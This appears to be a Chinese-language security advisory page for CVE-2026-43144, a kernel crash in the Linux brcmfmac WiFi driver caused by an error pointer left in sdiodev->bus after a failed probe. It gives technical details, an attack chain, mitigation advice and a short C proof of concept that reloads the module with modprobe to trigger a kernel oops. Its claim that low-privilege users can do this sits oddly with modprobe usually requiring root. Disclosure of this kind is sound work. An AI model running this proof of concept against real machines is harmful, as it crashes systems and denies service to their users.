IPBUF安全漏洞报告
English
CVE-2026-43144 CVSS 5.5 中危

CVE-2026-43144 Linux内核brcmfmac驱动崩溃漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43144
漏洞类型
内存破坏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSDriverbrcmfmacMemory CorruptionLocal

漏洞概述

Linux内核中的brcmfmac WiFi驱动程序存在一处潜在的安全漏洞。当SDIO总线的brcmfmac设备探测过程因固件缺失等原因失败时,sdiodev->bus变量被设置为错误指针而非NULL。这导致后续的brcmf_sdio_remove()清理函数尝试通过该无效指针释放资源,进而触发内核崩溃。该漏洞的根本原因在于sdiodev->bus在brcmf_sdio_probe()和brcmf_sdiod_probe()中被重复设置,且错误处理逻辑不当。本地低权限攻击者可利用此漏洞导致系统崩溃,破坏系统可用性。

技术细节

该漏洞位于Linux内核源码的drivers/net/wireless/broadcom/brcm80211/brcmfmac/sdio.c文件中,涉及Broadcom FullMAC无线网卡驱动的错误处理逻辑。在设备初始化阶段,brcmf_sdio_probe()函数负责探测SDIO总线上的设备。如果探测过程因固件文件丢失等原因失败,该函数应当返回错误代码并保持设备状态干净。然而,在受影响的版本中,sdiodev->bus变量被赋值为ERR_PTR(error_code)(即一个错误指针),而不是保持为NULL。随后,当系统执行设备移除或清理操作调用brcmf_sdio_remove()函数时,代码会检查sdiodev->bus是否为非空指针。由于错误指针在数值上不为NULL,代码误认为设备已成功初始化,进而尝试调用brcmf_sdio_free()等函数通过该无效指针释放资源。这种对错误指针的解引用操作会导致内核发生严重的页面错误,引发内核崩溃,从而导致系统拒绝服务。利用该漏洞要求攻击者拥有本地低权限访问权限,并能够通过特定手段触发驱动程序的加载或卸载流程。

攻击链分析

STEP 1
1
攻击者获取本地低权限用户访问权限。
STEP 2
2
攻击者触发brcmfmac驱动程序的加载或设备探测过程(例如通过modprobe命令)。
STEP 3
3
由于系统缺少必要的固件文件,设备探测函数brcmf_sdio_probe()执行失败。
STEP 4
4
错误处理逻辑将sdiodev->bus设置为错误指针(ERR_PTR),而不是NULL。
STEP 5
5
清理函数brcmf_sdio_remove()尝试通过该无效指针释放资源,导致内核解引用错误并崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43144 * Trigger condition: Load brcmfmac driver when firmware is missing. * This causes the driver to set bus to ERR_PTR, and subsequent removal * triggers a kernel oops when trying to free the invalid pointer. */ #include <stdio.h> #include <stdlib.h> int main() { printf("[+] Attempting to trigger CVE-2026-43144...\n"); printf("[+] Unloading existing brcmfmac module...\n"); system("modprobe -r brcmfmac"); printf("[+] Loading brcmfmac module...\n"); printf("[+] If firmware is missing, the kernel should crash (Oops).\n"); // This command attempts to load the module. // On a vulnerable system with missing firmware, // the probe fails, sets bus to ERR_PTR, and crashes on cleanup. int ret = system("modprobe brcmfmac"); if (ret != 0) { printf("[!] Module load failed (Expected if firmware missing). Check dmesg for Oops.\n"); } else { printf("[-] Module loaded successfully. System may not be vulnerable or firmware is present.\n"); system("modprobe -r brcmfmac"); } return 0; }

影响范围

Linux Kernel (brcmfmac driver versions prior to commit 243307a0d1b0...)

防御指南

临时缓解措施
建议管理员尽快升级Linux内核以修复此漏洞。如果无法立即升级,应确保系统固件文件完整,并限制普通用户对内核模块的加载与卸载操作,以降低被触发的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表